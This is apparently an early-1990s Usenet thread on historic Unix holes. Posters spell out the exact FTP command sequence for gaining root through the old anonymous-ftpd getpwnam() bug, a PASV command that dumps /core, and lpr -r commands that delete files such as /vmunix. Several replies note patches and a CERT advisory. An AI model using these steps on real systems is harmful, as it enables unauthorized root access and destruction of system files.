FTP bug
noahvawt
another bug (not the same on RTM exploited) in FTP allows a user
to acquire a root shell via FTP. Is this true? Where can I get a new,
"safe" version of FTP for my system? How did the bug work? Thank
you in advance.
ol...@gd.cs.csufresno.edu
If so, it's real weird because FTP is not supposed to run shells (or anything
except ls, for this matter). Also, *which* ftpd's are rumored to have this
bug?
Oleg
Barry Margolin
Since RTM's worm didn't use FTP, it's obviously not the same one as that.
He exploited a bug in fingerd and a backdoor in sendmail.
--
Barry Margolin
System Manager, Thinking Machines Corp.
bar...@think.com {uunet,harvard}!think!barmar
Ed Anselmo
Maybe you're thinking of this bug?
Around the same time as the RTM worm came a fix from UCB for ftpd.
The bug was with anonymous ftp -- seems you could get a root session
on any machine running anonymous ftp with old ftp daemons. You don't
see many of these machines around anymore (they've had 4+ years to
upgrade), but there may still be a few out there.
The bug: getpwnam() stores data in a static area. If you don't
explicitly copy the data, it could get overwritten by subsequent calls
to getpwnam().
--
Ed Anselmo ans...@nic.near.net NEARnet, Cambridge, MA
James Bonfield
Well, I know of no newish ftp bugs, but incidently, would people call it a
security problem (definitely a bug anyway!) to be able to replace (or create)
/core with a new one at will? Try 'telnet localhost ftp' followed by 'PASV'
(with no arguments - it is meant to have them). It creates /core from ftpd.
Every system (bar one where the admin fixed it himself) I've tried this on has
the bug.
Now I would perhaps consider it to be a problem in that it allows people to
use an extra few hundred K from the root filesystem, which is *some* cases may
cause problems? Comments anyone?
I know there are lots more serious bugs, but this is trivial to fix.
James
--
James Bonfield (j...@mrc-lmba.cam.ac.uk / ri...@dcs.warwick.ac.uk)
Medical Research Council Laboratory of Molecular Biology, Hills Road,
Cambridge, CB2 2QH, England. Tel: 0223 402499 Fax: 0223 412282
R.v.Kampen
after ftp prompts you for your login name : type CTRL-C
now type 'quote user ftp' -> the guest flag is set in the ftpd and
now type some command that will need to call getpwnam("root")
so the user ID in the userdata will be over written with 0
then type 'quote pass ftp' -> you are logged in as root
in a 2600 issue last year there was a detailed description
of this bug.
Greg Limes
| after ftp prompts you for your login name : type CTRL-C
The SunOS 4.1.3 and Solaris 2.1 ftp frontends terminate when handed a
Ctrl-C, as I would expect. I'm fairly sure this is nothing new.
| now type 'quote user ftp' -> the guest flag is set in the ftpd and
| now type some command that will need to call getpwnam("root")
| so the user ID in the userdata will be over written with 0
|
| then type 'quote pass ftp' -> you are logged in as root
|
| in a 2600 issue last year there was a detailed description
| of this bug.
|
|
Sounds like your FTP frontend went to the command mode. So, I tried
telnet-ing into my own machine. Surprise, I'm not set up for anonymous
FTP anymore (forgot I turned this off) and USER FTP just gives me
530 User ftp unknown.
So, I telnet into a server that I know has anonymous FTP turned on. The
server is running the "SunOS 4.1" version of the ftp server; the response
to USER FTP is, as expected,
331 Password required for FTP.
A subsequent command, say, CWD /, gives
530 Please login with USER and PASS
Blindly going on with the script, sending PASS FTP results in
530 Login incorrect.
... and the session drops.
So, as an initial guess, I'd say that (a) the current Sun client
software for FTP does not allow use of this purported hole, and (b)
the current Sun server software for FTP does not have it anyway. If
these are false, feel free to let me know, and I will forward the
information onward to the people that fix this sort of thing.
Did 2600 say, by chance, what FTP implementation they had unlocked?
--
Greg Limes [li...@eng.sun.com]
Not speaking for Sun Microsystems Computer Corp., Mountain View, California
"Do not meddle in the affairs of Wizards,
it makes them soggy and hard to light."
Ed Anselmo
> Ctrl-C, as I would expect. I'm fairly sure this is nothing new.
Forget the ctrl-c, you just don't want ftp to automatically prompt for
a username and password. "ftp -n" does this.
> A subsequent command, say, CWD /, gives
> 530 Please login with USER and PASS
"CWD /" doesn't cause 'getpwnam("root")' to be called. The earlier
posting said:
| now type some command that will need to call getpwnam("root")
| so the user ID in the userdata will be over written with 0
> So, as an initial guess, I'd say that (a) the current Sun client
> software for FTP does not allow use of this purported hole, and (b)
> the current Sun server software for FTP does not have it anyway.
(1) The bug was never on the client side.
(2) Right. Sun released a fixed binary back in Dec. 1988. From the
UUNET anonymous ftp archives:
in.ftpd is the FTP daemon, with the bug fixed that allowed break-ins
when anonymous FTP was enabled. These are 4.0 Sun-3 and Sun-4
versions.
Wolfgang Ley
li...@straylight.eng.sun.com (Greg Limes) writes:
>So, I telnet into a server that I know has anonymous FTP turned on. The
>server is running the "SunOS 4.1" version of the ftp server; the response
>to USER FTP is, as expected,
>So, as an initial guess, I'd say that (a) the current Sun client
>software for FTP does not allow use of this purported hole, and (b)
>the current Sun server software for FTP does not have it anyway. If
>these are false, feel free to let me know, and I will forward the
>information onward to the people that fix this sort of thing.
>
>Did 2600 say, by chance, what FTP implementation they had unlocked?
The ftp-daemon distributed by wuarchive has the bug to let everyone log in
as root without password... Unfortunatly this ftp-daemon is used world-wide
by a lot of servers...
Bye,
Wolfgang.
---------------------------------------------------------------------------
Wolfgang Ley e-mail:
Teichstrasse 9
W-3392 Clausthal-Zellerfeld BW...@ibm.rz.tu-clausthal.de
(Germany) or BW...@sun.rz.tu-clausthal.de
Phone: +49 5323 82132 (voice) or L...@rz.tu-clausthal.de
---------------------------------------------------------------------------
Steven Bellovin
> Sounds like your FTP frontend went to the command mode. So, I tried
> telnet-ing into my own machine. Surprise, I'm not set up for anonymous
>
> software for FTP does not allow use of this purported hole, and (b)
> the current Sun server software for FTP does not have it anyway. If
> these are false, feel free to let me know, and I will forward the
> information onward to the people that fix this sort of thing.
>
> Did 2600 say, by chance, what FTP implementation they had unlocked?
This wasn't a ``purported hole'', it was quite real. Any number of folks,
including CERT, verified it. Here's the relevant text from the very first
CERT advisory, CA-88:01.ftpd.hole:
2) Verify with your systems support staff that the ftpd program
patches have been installed. Removing anonymous ftp is now
known to NOT plug all security holes. If you are not sure,
ftp to ucbarpa.berkeley.edu, login as anonymous password ftp
and get ftpd.shar. This file contains the sources to the
latest BSD release of the ftpd program.
And yes, I saw the buggy code, and tested it, as well. The bug was
quite real, though at this point fairly ancient.
As for the notion that ``the current Sun client software for FTP does
not allow use of this purported hole'' -- first of all, you can't trust
client code; it's not a privileged command, and even if it were, you
don't know whether or not the calling site has been compromised. Your
server code has to protect itself no matter what nonsense is spit out
at it by the attacker. He or she could have a custom ftp client.
Second, the client code does have the ability -- just run it as
``ftp -n host'', and you'll be connected without any prompts for user
name or password.
Bill Bogstad
> ...
>The original ftp-daemon from Sun, DEC etc. works ok.
>The ftp-daemon distributed by wuarchive has the bug to let everyone log in
>as root without password... Unfortunatly this ftp-daemon is used world-wide
>by a lot of servers...
Including me (with the bug until yesterday). Which "original"
ftp-daemon from Sun, DEC, etc. doesn't have this problem. Certainly, they
all did at some point. The question is which standard release from the
various vendors stopped having the bug. In the case of Sun, I could well
believe that it might have been reintroduced going from Solaris 1 to Solaris
2 since they were using a different code base. At this point, all I know is
that my patched version of the wuarchive code doesn't have this specific
problem and through examination of Solaris 1.0.1 source code I do not believe
that version does either. Anyone else care to comment on other versions?
Bill Bogstad
Corby Anderson
>
>Well, I know of no newish ftp bugs, but incidently, would people call it a
>security problem (definitely a bug anyway!) to be able to replace (or create)
>/core with a new one at will? Try 'telnet localhost ftp' followed by 'PASV'
>(with no arguments - it is meant to have them). It creates /core from ftpd.
>Every system (bar one where the admin fixed it himself) I've tried this on has
>the bug.
>I know there are lots more serious bugs, but this is trivial to fix.
>
> James
Especially on Suns running SunOS. Using a bug in the "lpr" command, any
user can remove files in /. After you create a core file using the
method described above, try "lpr -r /core". If you're REALLY adventurous,
try "lpr -r /vmunix"
Corby
--
co...@ssf-sys.dhl.com DHL Systems, Inc. San Mateo, CA
"The question of whether a computer can think is no more interesting
than the question of whether a submarine can swim" - Edsger W. Dijkstra
Brian Fitzgerald
>
>Especially on Suns running SunOS. Using a bug in the "lpr" command, any
>user can remove files in /. After you create a core file using the
>method described above, try "lpr -r /core". If you're REALLY adventurous,
>try "lpr -r /vmunix"
ok.
fit...@mml0.meche /fitzgb (339) head -1 /etc/motd
SunOS Release 4.1.1 (MML0) #6: Sat Jul 25 15:14:31 EDT 1992
fit...@mml0.meche /fitzgb (340) ls -lgad / /core /vmunix
drwxr-sr-x 21 root staff 1024 Apr 12 22:13 /
-rw-r--r-- 1 root staff 3 Apr 12 22:13 /core
-rw-r----- 1 root kmem 812827 Jul 25 1992 /vmunix
fit...@mml0.meche /fitzgb (341) lpr -r -Plw /core
lpr: /core: not removed
fit...@mml0.meche /fitzgb (342) lpr -r -Plw /vmunix
lpr: cannot access /vmunix
fit...@mml0.meche /fitzgb (343) ls -lg /usr/ucb/lpr
-rws--s--x 1 root daemon 24576 Apr 13 1992 /usr/ucb/lpr
fit...@mml0.meche /fitzgb (345) sudo what /usr/ucb/lpr
/usr/ucb/lpr:
Copyright (c) 1983 Regents of the University of California.
lpr.c 1.18 89/11/22 SMI
startdaemon.c 1.1 90/10/29 SMI
printcap.c 1.1 90/10/29 SMI
(There was a bug prior to this patched version that let you delete
system files, but it wasn't just "lpr -r /vmunix".)
Brian
Xianyow
Tom J Parry
>So who can tell me which command needs to run getpwnam("root")?
'quote CWD ~root' will call getpwnam, but only if you're connected.
--
Tom J Parry.
Your reality is a figment of my imagination.
Brett Lymn
Corby> Especially on Suns running SunOS. Using a bug in the "lpr" command, any
Corby> user can remove files in /. After you create a core file using the
Corby> method described above, try "lpr -r /core". If you're REALLY adventurous,
Corby> try "lpr -r /vmunix"
Not on our suns:
[blymn@mallee] lpr -r /experitment
lpr: /experitment: not removed
This has been fixed with patch 100305
--
Brett Lymn
Rob J. Nauta
>So who can tell me which command needs to run getpwnam("root")?
God, don't people have ANY imagination left ??
ftp -n xxx
quote user ftp
quote cwd ~root
quote pass ftp
This overwrites the static area with the data for root. The anonymous
flag is still set, so any passwd is accepted. It doesn't work nowadays,
of course.
Rob
--
/-----------------------------------------------\ Never ,==.
| Rob J. Nauta, UNIX computer security expert. | Apologize, /@ |
| r...@wzv.win.tue.nl, Phone: +31-40-837549 | Never /_ <
| r...@hacktic.nl -- Email me for UNIX advice | Explain. =" `g'
Xianyow
: sy...@csie.nctu.edu.tw (Xianyow ) writes:
:
: >So who can tell me which command needs to run getpwnam("root")?
:
: God, don't people have ANY imagination left ??
: ftp -n xxx
: quote user ftp
: quote cwd ~root
: quote pass ftp
: This overwrites the static area with the data for root. The anonymous
: flag is still set, so any passwd is accepted. It doesn't work nowadays,
: of course.
:
: Rob
Ove Hansen
Oh yeah?
/extra 10 % ls -l /dead.letter
-rw-r-xr-x 1 root 120 Apr 13 17:11 /dead.letter
/extra 11 % lpr -r /dead.letter
/extra 12 % ls -l /dead.letter
/dead.letter not found
Maybe you could try:
% chmod go+x /vmunix
% lpr -r /vmunix
and let us know what happens... :-) :-)
--
---------------------------------------------------------------------------
Ove Hansen, Cisco Systems Europe | Mail: oha...@cisco.com
16, avenue du Quebec, Z.A. de Courtaboeuf | Tel: +33 1 60 92 20 00
91961 Les Ulis cedex, France | Fax: +33 1 69 28 83 26
Brian Fitzgerald
>Maybe you could try:
>
>% chmod go+x /vmunix
>% lpr -r /vmunix
>
>and let us know what happens... :-) :-)
Ok.
ro...@mml0.meche // (188)# chmod go+x /vmunix
ro...@mml0.meche // (189)# suspend
[1]+ Stopped sudo bash
fit...@mml0.meche /fitzgb (299) lpr -r /vmunix
A-A-A-A-A-A-A-A-A-A-A-A-A-A-A-A-A-A-A-H-H-H-H-H-H-H-H-H-H-H-H ! ! !